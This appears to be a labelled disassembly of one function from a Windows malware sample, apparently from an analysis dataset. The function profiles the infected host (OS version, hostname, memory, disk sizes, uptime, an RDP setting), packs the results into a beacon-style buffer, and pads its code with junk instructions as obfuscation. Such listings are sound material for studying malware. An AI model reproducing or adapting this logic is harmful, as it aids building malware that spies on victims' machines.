Function at 0x406260
Capabilities:
Contain obfuscated stackstrings
Get disk information
Get disk size
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x678
push ebx
push esi
push edi
push str.RegOpenKeyExA
push 0x410218
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x128], eax
xor eax, eax
mov al, byte [0x412110]
and eax, 1
test eax, eax
jne 0x4062c2
mov cl, byte [0x412110]
or cl, 1
mov byte [0x412110], cl
push str.getsockname
push 0x410320
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x4125e0], eax
xor edx, edx
mov dl, byte [0x412110]
and edx, 2
test edx, edx
jne 0x4062f9
mov al, byte [0x412110]
or al, 2
mov byte [0x412110], al
push str.gethostname
push 0x410320
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x412518], eax
mov dword [ebp - 0x1b4], 0xffffffff
mov byte [ebp - 0x66c], 0x66
mov dword [ebp - 0x668], 0x9c
lea ecx, [ebp - 0x668]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea edx, [ebp - 0x65c]
push edx
lea eax, [ebp - 0x660]
push eax
lea ecx, [ebp - 0x664]
push ecx
call fcn.00405ad0
add esp, 0xc
push 0x100
push 0x4125e8
call dword [0x412518]
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x108], edx
mov dword [ebp - 0x104], edx
mov dword [ebp - 0x100], edx
mov dword [ebp - 0x670], 0x10
lea eax, [ebp - 0x670]
push eax
lea ecx, [ebp - 0x10c]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa8]
push eax
call dword [0x4125e0]
push 4
lea ecx, [ebp - 0x108]
push ecx
lea edx, [ebp - 0x5c4]
push edx
call fcn.004052d0
add esp, 0xc
push 0x32
push 0x4125e8
lea eax, [ebp - 0x5c0]
push eax
call fcn.004052d0
add esp, 0xc
call fcn.004058d0
mov dword [ebp - 0x5cc], eax
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x1b0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dl, byte [ebp - 0x19c]
mov byte [ebp - 0x5c8], dl
call fcn.004059c0
mov dword [ebp - 0x58c], eax
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x588], eax
mov dword [ebp - 0x300], 0x40
lea ecx, [ebp - 0x300]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
push 0
push 0x400
mov edx, dword [ebp - 0x2f4]
push edx
mov eax, dword [ebp - 0x2f8]
push eax
call fcn.0040d950
push 0
push 0x400
push edx
push eax
call fcn.0040d950
mov dword [ebp - 0x584], eax
push ecx
add ecx, 0xffffffff
add ecx, 1
sub esp, 2
add esp, 2
pop ecx
add ebp, 2
dec ebp
dec ebp
mov eax, eax
push esi
je 0x406475
pop esi
btr ebx, 0xf4
xadd eax, ebx
xchg ebx, eax
test eax, 0x534f82bb
sub bl, dl
mov eax, edx
xchg al, bl
mov al, cl
movzx ebx, bx
not bh
rcl ebx, 0x4b
or eax, 0x393eeb01
imul ebx, ebp, 0x5a429437
movzx eax, si
mov eax, 0xfc226531
test ebx, edx
sub bh, 0x82
test bl, al
bsr eax, ebp
shr ebx, 1
imul ebx, eax, 0xd815a07e
sbb al, 0x7b
test edi, edi
shl bl, cl
movsx ebx, dx
neg bl
bswap ebx
add ah, al
not eax
xadd bl, al
shrd ebx, eax, cl
movzx eax, cx
mov bl, 0x5d
imul ebx, esi, 0x9c792c83
neg ah
movzx ebx, dh
inc eax
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x110], 0
mov dword [ebp - 4], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x1b8], 0
jmp 0x40653b
mov ecx, dword [ebp - 0x1b8]
add ecx, 1
mov dword [ebp - 0x1b8], ecx
cmp dword [ebp - 0x1b8], 0x1a
jge 0x4065fe
push 0x411cd8
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
mov edx, dword [ebp - 0x1b8]
add edx, 0x42
mov byte [ebp - 0x78], dl
mov byte [ebp - 0x77], 0x3a
mov byte [ebp - 0x76], 0x5c
mov byte [ebp - 0x75], 0
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 3
je 0x406589
jmp 0x40652c
push 0
lea ecx, [ebp - 0x370]
push ecx
push 0
lea edx, [ebp - 0x78]
push edx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x4065f9
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x2c0]
add eax, dword [ebp - 0x370]
mov ecx, dword [ebp - 0x2bc]
adc ecx, dword [ebp - 0x36c]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
push 0
push 0x400
mov edx, dword [ebp - 0x2bc]
push edx
mov eax, dword [ebp - 0x2c0]
push eax
call fcn.0040d950
push 0
push 0x400
push edx
push eax
call fcn.0040d950
mov dword [ebp - 4], eax
jmp 0x40652c
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x678], ecx
mov dword [ebp - 0x674], 0
fild qword [ebp - 0x678]
call sub.MSVCRT.dll__ftol
mov dword [ebp - 0x580], eax
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov byte [ebp - 0x90], 0x25
mov byte [ebp - 0x8f], 0x34
mov byte [ebp - 0x8e], 0x64
mov byte [ebp - 0x8d], 0x2d
mov byte [ebp - 0x8c], 0x25
mov byte [ebp - 0x8b], 0x2e
mov byte [ebp - 0x8a], 0x32
mov byte [ebp - 0x89], 0x64
mov byte [ebp - 0x88], 0x2d
mov byte [ebp - 0x87], 0x25
mov byte [ebp - 0x86], 0x2e
mov byte [ebp - 0x85], 0x32
mov byte [ebp - 0x84], 0x64
mov byte [ebp - 0x83], 0x20
mov byte [ebp - 0x82], 0x25
mov byte [ebp - 0x81], 0x2e
mov byte [ebp - 0x80], 0x32
mov byte [ebp - 0x7f], 0x64
mov byte [ebp - 0x7e], 0x3a
mov byte [ebp - 0x7d], 0x25
mov byte [ebp - 0x7c], 0x2e
mov byte [ebp - 0x7b], 0x32
mov byte [ebp - 0x7a], 0x64
mov byte [ebp - 0x79], 0
mov eax, dword [ebp - 0x11a]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x11c]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x11e]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x122]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x124]
and ecx, 0xffff
push ecx
lea edx, [ebp - 0x90]
push edx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
push 0x14
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x44c]
push edx
call fcn.004052d0
add esp, 0xc
mov dword [ebp - 0x368], 0x410478
mov dword [ebp - 8], 0x41046c
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x368]
push ecx
push str._s_s
mov edx, dword [ebp - 0x368]
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0xfc]
cdq
mov ecx, 0x5265c00
idiv ecx
push eax
push 0x41026c
lea edx, [ebp - 0xf8]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0xfc]
cdq
mov ecx, 0x5265c00
idiv ecx
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0xfc]
cdq
mov ecx, 0x36ee80
idiv ecx
push eax
push 0x41026c
lea edx, [ebp - 0x18c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov eax, dword [ebp - 0xfc]
cdq
mov ecx, 0x36ee80
idiv ecx
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0xfc]
cdq
mov ecx, 0xea60
idiv ecx
push eax
push 0x41026c
lea edx, [ebp - 0x364]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x364]
push eax
lea ecx, [ebp - 0x18c]
push ecx
lea edx, [ebp - 0xf8]
push edx
mov eax, dword [ebp - 0x368]
push eax
lea ecx, [ebp - 0x57c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
call fcn.00405d80
push eax
lea edx, [ebp - 0x3d4]
push edx
call fcn.00405320
add esp, 8
push 0x64
lea eax, [ebp - 0x438]
push eax
push str.RDP_Tcp
call fcn.00405b50
add esp, 0xc
push 0x2fc
lea ecx, [ebp - 0x66c]
push ecx
mov ecx, dword [ebp + 0xc]
call fcn.004029c0
mov dword [ebp - 0x1b4], eax
mov eax, dword [ebp - 0x1b4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret